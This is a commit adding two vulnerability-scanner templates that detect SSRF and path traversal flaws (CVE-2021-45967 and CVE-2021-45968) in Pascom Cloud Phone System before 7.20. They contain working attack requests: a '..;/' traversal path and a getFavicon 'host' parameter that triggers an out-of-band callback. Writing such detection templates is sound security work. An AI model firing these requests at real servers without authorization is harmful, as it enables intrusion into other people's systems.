Add Pascom advisories (#3862)

* pascom: Add CVE-2021-45967

* pascom: Add CVE-2021-45968

cves/2021/CVE-2021-45967.yaml

@@ -0,0 +1,23 @@
+id: CVE-2021-45967
+
+info:
+  name: Pascom CPS SSRF
+  author: dwisiswant0
+  severity: high
+  description: |
+    Pascom version packaged with Cloud Phone System (CPS)
+    versions before 7.20 contains a known SSRF issue
+  reference:
+    - https://kerbit.io/research/read/blog/4
+  tags: cve,cve2021,pascom,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/services/pluginscript/..;/..;/..;/getFavicon?host={{interactsh-url}}" # Triple parent because endpoint access via backend (parent of index CMS)
+
+    matchers:
+      - type: word
+        part: interactsh_protocol # Confirms the HTTP Interaction
+        words:
+          - "http"

cves/2021/CVE-2021-45968.yaml

@@ -0,0 +1,35 @@
+id: CVE-2021-45968
+
+info:
+  name: Pascom CPS Path Traversal
+  author: dwisiswant0
+  severity: high
+  description: |
+    Pascom version packaged with Cloud Phone System (CPS)
+    versions before 7.20 contains a known path traversal issue
+  reference:
+    - https://kerbit.io/research/read/blog/4
+  tags: cve,cve2021,pascom,lfi
+
+requests:
+  - raw:
+      - |
+        GET /services/pluginscript/ HTTP/1.1
+        Host: {{Hostname}}
+
+      - | # Double parent to access CMS index
+        GET /services/pluginscript/..;/..;/ HTTP/1.1
+        Host: {{Hostname}}
+
+      - | # Verifying CMS
+        GET / HTTP/1.1
+        Host: {{Hostname}}
+
+    req-condition: true
+    matchers:
+      - type: dsl
+        dsl:
+          - "status_code_2 != status_code_1"
+          # - "status_code_2 == 200" # This would contradict the matcher below if enabled, because it reduces false-positives - while the status of traversal isn't always OK (200)
+          - "contains(body_2, 'pascom GmbH & Co KG') || contains(body_3, 'pascom GmbH & Co KG')" # Verifying CMS
+        condition: and